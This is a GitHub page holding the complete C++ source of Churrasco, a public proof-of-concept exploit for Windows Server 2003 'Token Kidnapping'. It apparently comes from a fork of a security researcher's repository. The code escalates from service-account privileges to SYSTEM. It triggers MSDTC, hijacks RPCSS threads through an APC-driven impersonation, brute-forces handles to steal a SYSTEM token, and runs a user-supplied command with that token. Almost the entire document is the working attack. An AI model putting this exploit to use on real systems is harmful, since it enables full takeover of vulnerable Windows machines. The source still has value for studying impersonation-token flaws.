forked from Re4son/Churrasco
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathChurrasco.cpp
370 lines (284 loc) · 10.1 KB
/
Churrasco.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
// Argeniss - Information Security - www.argeniss.com
// **Churrasco**
// Elevation of privileges PoC exploit for Token Kidnapping on Windows 2003
// http://www.argeniss.com/research/TokenKidnapping.pdf
// Author: Cesar Cerrudo
// Needs impersonation and assign primary token rights in order to work, by default NETWORK SERVICE and LOCAL SERVICE accounts have these rights
// Works fine in SQL Server running under any Windows account.
// Works fine in IIS only when ASP .NET Application Pool is running under NETWORK SERVICE or LOCAL SERVICE accounts, it needs some minor modifications to
// work on an Application Pool running under a regular user account since this kind of account will be able to impersonate but wonn't have assign primary token right by default
// Netstat code taken from http://www.codeguru.com/forum/archive/index.php/t-188092.html by ashotog
#include "stdafx.h"
BOOL InvokeMSDTC(){
//IIRC this code was taken from MSDN
ITransactionDispenser * pTransactionDispenser;
ITransaction * pTransaction;
HRESULT hr = S_OK ;
// Obtain a transaction dispenser interface pointer from the DTC.
DtcGetTransactionManagerEx(NULL,NULL,IID_ITransactionDispenser,0,0, (void **)&pTransactionDispenser);
if (FAILED (hr)) {
printf("/currasco/-->MSDTC service seems to have problems\n");
return (0);
}
pTransactionDispenser->BeginTransaction( NULL,ISOLATIONLEVEL_ISOLATED, ISOFLAG_RETAIN_DONTCARE, NULL, &pTransaction ) ;
return 1;
}
typedef struct _MIB_TCPROW_EX
{
DWORD dwState; // MIB_TCP_STATE_*
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;
typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;
typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;
typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;
typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;
BOOL LoadExIpHelperProcedures(void)
{
HMODULE hModule;
hModule = LoadLibrary(_T("iphlpapi.dll"));
if (hModule == NULL)
return FALSE;
// XP and later
lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hModule,"AllocateAndGetTcpExTableFromStack");
if (lpfnAllocateAndGetTcpExTableFromStack == NULL)
return FALSE;
return TRUE;
}
BOOL IsImpersonationToken (HANDLE hToken, CHAR * cType)
{
DWORD ReturnLength;
SECURITY_IMPERSONATION_LEVEL TokenImpInfo;
TOKEN_TYPE TokenTypeInfo;
if(GetTokenInformation(hToken, TokenType, &TokenTypeInfo, sizeof(TokenTypeInfo), &ReturnLength)){
if (TokenTypeInfo==TokenImpersonation) {
if((GetTokenInformation(hToken, TokenImpersonationLevel, &TokenImpInfo, sizeof(TokenImpInfo), &ReturnLength)&& TokenImpInfo==SecurityImpersonation)){
if (cType) *cType='I';
return TRUE;
}
}
else {
if (cType) *cType='P'; //it's a primary token, TokenTypeInfo==TokenPrimary
return TRUE;
}
}
return FALSE;
}
DWORD RunCommandAsSystem(HANDLE hToken, LPSTR lpCommand)
{
HANDLE hToken2,hTokenTmp;
PROCESS_INFORMATION pInfo;
STARTUPINFO sInfo;
DWORD dwRes;
CHAR cType;
LPTSTR lpComspec;
LPSTR lpCommandTmp;
ZeroMemory(&sInfo, sizeof(STARTUPINFO));
ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION));
sInfo.cb= sizeof(STARTUPINFO);
sInfo.lpDesktop= "WinSta0\\Default";
IsImpersonationToken(hToken, &cType);
if (cType=='I'){
SetThreadToken(NULL, hToken);
OpenThreadToken(GetCurrentThread(),TOKEN_ALL_ACCESS,FALSE,&hTokenTmp);
SetThreadToken(NULL, NULL);
}
else
hTokenTmp=hToken;
DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ;
lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR));
GetEnvironmentVariable("comspec",lpComspec,1024);
lpCommandTmp= (LPSTR) malloc(1024*sizeof(CHAR));
strcpy(lpCommandTmp, "/c ");
strncat(lpCommandTmp, lpCommand, 500);
dwRes=CreateProcessAsUser(hToken2, lpComspec, lpCommandTmp, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo);
if (hTokenTmp!=hToken)
CloseHandle(hTokenTmp);
CloseHandle(hToken2);
return dwRes;
}
DWORD GetRpcssPid(void)
{
DWORD dwLastError, dwPort, dwSize, dwPid=0;
PMIB_TCPTABLE_EX lpBuffer = NULL;
PMIB_UDPTABLE_EX lpBuffer1 = NULL;
if (!LoadExIpHelperProcedures())
return 0;
dwLastError = lpfnAllocateAndGetTcpExTableFromStack(&lpBuffer,TRUE,GetProcessHeap(),0,2);
if (dwLastError == NO_ERROR)
{
for (dwSize = 0; dwSize < lpBuffer->dwNumEntries; dwSize++)
{
dwPort=((lpBuffer->table[dwSize].dwLocalPort & 0xFF00) >> 8) + ((lpBuffer->table[dwSize].dwLocalPort & 0x00FF) << 8);
if (dwPort==135 && lpBuffer->table[dwSize].dwState == 2)
{
dwPid = lpBuffer->table[dwSize].dwProcessId ;
break;
}
}
}
if (lpBuffer)
HeapFree(GetProcessHeap(),0,lpBuffer);
return dwPid;
}
BOOL GetTokenUser(HANDLE hToken, LPTSTR lpUserName)
{
DWORD dwBufferSize = 0;
SID_NAME_USE SidNameUse;
TCHAR DomainName[MAX_PATH];
DWORD dwUserNameSize= MAX_PATH * 2 ;
DWORD dwDomainNameSize = MAX_PATH * 2;
PTOKEN_USER pTokenUser;
GetTokenInformation(hToken, TokenUser, NULL,0,&dwBufferSize);
pTokenUser = (PTOKEN_USER) new BYTE[dwBufferSize];
memset(pTokenUser, 0, dwBufferSize);
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwBufferSize)){
if (LookupAccountSid(NULL,pTokenUser->User.Sid,lpUserName,&dwUserNameSize,DomainName,&dwDomainNameSize,&SidNameUse)){
return TRUE;
}
}
return FALSE;
}
HANDLE GetSystemToken(HANDLE hToken,DWORD Pid){
HANDLE hTgtHandle=0;
TCHAR UserName[MAX_PATH];
HANDLE hProcess;
SetThreadToken(NULL,hToken);
hProcess=OpenProcess(PROCESS_DUP_HANDLE,NULL,Pid);
SetThreadToken(NULL,NULL);
if (hProcess) {
//Brute force token handles
for (DWORD hSrcHandle=4;hSrcHandle<0xffff;hSrcHandle+=4){
if(DuplicateHandle(hProcess,(HANDLE)hSrcHandle,GetCurrentProcess(),&hTgtHandle,0,FALSE,DUPLICATE_SAME_ACCESS )) {
if (IsImpersonationToken(hTgtHandle, NULL)){
if (GetTokenUser(hTgtHandle,UserName)){
if (!strcmp(UserName,"SYSTEM")){
printf ("/churrasco/-->Found SYSTEM token 0x%x\n",hTgtHandle);
return hTgtHandle;
}
else
printf ("/churrasco/-->Found %s Token\n", UserName);
}
}
CloseHandle(hTgtHandle);
}
}
CloseHandle(hProcess);
}
else {
printf ("/churrasco/-->Couldn't open Rpcss process\n");
return 0;
}
return 0;
}
//need to improve this!!!!
HANDLE GetNetServToken(){
HANDLE hToken;
TCHAR UserName[MAX_PATH];
for (DWORD j=0x4;j<=0xffff;j+=4){
hToken=(HANDLE)j;
if (IsImpersonationToken(hToken, NULL) ){
if(GetTokenUser(hToken, UserName)){
if (!strcmp(UserName,"NETWORK SERVICE")){
printf ("/churrasco/-->Found NETWORK SERVICE token 0x%x\n",hToken);
return hToken;
}
else
printf ("/churrasco/-->Found %s Token\n",UserName);
}
}
}
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwRpcssPid;
TCHAR UserName[MAX_PATH];
DWORD dwCharCount = MAX_PATH;
LPSTR lpCommand;
HANDLE hToken, hSysToken, hNetServToken=0;
if (argc != 2) {
printf ("/churrasco/-->Usage: Churrasco.exe \"command to run\"\n");
return 0;
}
lpCommand= argv[1];
if(GetUserName(UserName, &dwCharCount)){
printf ("/churrasco/-->Current User: %s \n",UserName);
if (strcmp(UserName,"NETWORK SERVICE")){
printf ("/churrasco/-->Process is not running under NETWORK SERVICE account!\n");
printf ("/churrasco/-->Getting NETWORK SERVICE token ...\n");
//Call MSDTC to end up getting NETWORK SERVICE token in our process
InvokeMSDTC();
//Get NETWORK SERVICE impersonation token
hNetServToken=GetNetServToken();
if (hNetServToken==0){
printf ("/churrasco/-->Couldn't find NETWORK SERVICE token\n");
return 0;
}
}
}
else {
printf ("/churrasco/-->Couldn't get current user name\n");
return 0;
}
//Get RPCSS PID
printf ("/churrasco/-->Getting Rpcss PID ...\n");
dwRpcssPid=GetRpcssPid();
//Set NETWORK SERVICE token as current thread token so we can open RPCSS threads
SetThreadToken(NULL,hNetServToken);
if (dwRpcssPid){
printf ("/churrasco/-->Found Rpcss PID: %d \n",dwRpcssPid);
//Brute force threads id, I'm lazy to use native APIs, this works the same
printf ("/churrasco/-->Searching for Rpcss threads ...\n");
for (DWORD Tid=0;Tid < 0xffff ;Tid+=4) {
HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,TRUE,Tid);
if (hThread && dwRpcssPid==GetProcessIdOfThread(hThread)) {
printf ("/churrasco/-->Found Thread: %d \n",Tid);
//Make thread impersonate Rpcss service account
QueueUserAPC((PAPCFUNC)ImpersonateSelf,hThread,0x2 );
Sleep(500);
//If RPCSS thread is impersonating then we can get RPCSS process token
if (OpenThreadToken(hThread,TOKEN_ALL_ACCESS,FALSE,&hToken)){
printf ("/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x%x\n",hToken);
printf ("/churrasco/-->Getting SYSTEM token from Rpcss Service...\n");
//Get SYSTEM token from RPCSS service
hSysToken=GetSystemToken(hToken,dwRpcssPid);
if (hSysToken){
printf ("/churrasco/-->Running command with SYSTEM Token...\n");
if (RunCommandAsSystem(hSysToken, lpCommand)){
printf ("/churrasco/-->Done, command should have ran as SYSTEM!\n");
break;
}
else {
printf ("/churrasco/-->Couldn't run command, try again!\n");
return 0;
}
}
}
printf ("/churrasco/-->Thread not impersonating, looking for another thread...\n");
}
CloseHandle(hThread);
}
}
else {
printf ("/churrasco/-->Couldn't find Rpcss PID!\n");
}
return 0;
}